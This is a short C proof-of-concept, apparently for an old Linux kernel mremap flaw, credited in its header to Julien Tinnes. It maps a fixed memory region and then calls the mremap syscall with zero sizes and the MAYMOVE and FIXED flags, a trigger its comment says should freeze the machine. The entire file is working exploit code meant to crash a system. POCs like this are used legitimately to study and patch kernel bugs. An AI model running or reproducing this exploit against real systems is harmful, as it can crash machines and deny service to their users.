/* mremap POC by Julien TINNES. This should freeze your puter.
 * Christophe devine wrote the same one at the same time
 */


#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>

#define MREMAP_MAYMOVE	1
#define MREMAP_FIXED	2

#include <stdio.h>

int	main(void)
{

	void *retvalue;

	
	retvalue=mmap((void *)0x50000000, 0x4000, PROT_EXEC | PROT_READ | PROT_WRITE,  MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);

	if (retvalue == MAP_FAILED) {
		printf("mmap failed\n");
		exit(0);
	}
	
/*	
	retvalue=mmap((void *)0x60000000, 0x4000, PROT_EXEC | PROT_READ | PROT_WRITE,  MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);

	if (retvalue == MAP_FAILED) {
		printf("mmap failed\n");
		exit(0);
	}
*/

	//retvalue=mremap(0x50000000,0x2000, 0x1000, 0);

	retvalue=syscall(SYS_mremap, 0x50000000,0x0000,0x0000,MREMAP_MAYMOVE|MREMAP_FIXED,0x60001000);

//sleep(60);

	if (retvalue == -1) {
		perror(0);
		printf("mremap failed\n");
		exit(0);
	}
	

sleep(60);
	
}
